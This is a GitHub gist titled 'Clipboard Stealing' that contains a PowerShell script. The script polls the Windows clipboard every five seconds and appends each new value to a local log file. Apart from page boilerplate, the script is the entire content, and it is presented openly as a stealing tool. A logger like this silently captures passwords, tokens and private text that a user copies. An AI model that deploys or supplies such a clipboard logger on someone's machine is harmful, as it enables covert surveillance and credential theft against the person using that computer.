Created
August 19, 2017 12:28
-
-
Save chokepoint/dfa1f742fcec471ed1384ae97d3d12c8 to your computer and use it in GitHub Desktop.
Clipboard Stealing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Get-Clipboard([switch] $Lines) { | |
if($Lines) { | |
$cmd = { | |
Add-Type -Assembly PresentationCore | |
[Windows.Clipboard]::GetText() -replace "`r", '' -split "`n" | |
} | |
} else { | |
$cmd = { | |
Add-Type -Assembly PresentationCore | |
[Windows.Clipboard]::GetText() | |
} | |
} | |
if([threading.thread]::CurrentThread.GetApartmentState() -eq 'MTA') { | |
& powershell -Sta -Command $cmd | |
} else { | |
& $cmd | |
} | |
} | |
$last = "" | |
while ($true) { | |
$cboard = Get-Clipboard | |
if ($cboard -ne $last) { | |
$cboard | Add-Content "my.log" | |
} | |
$last = $cboard | |
Start-Sleep 5 | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment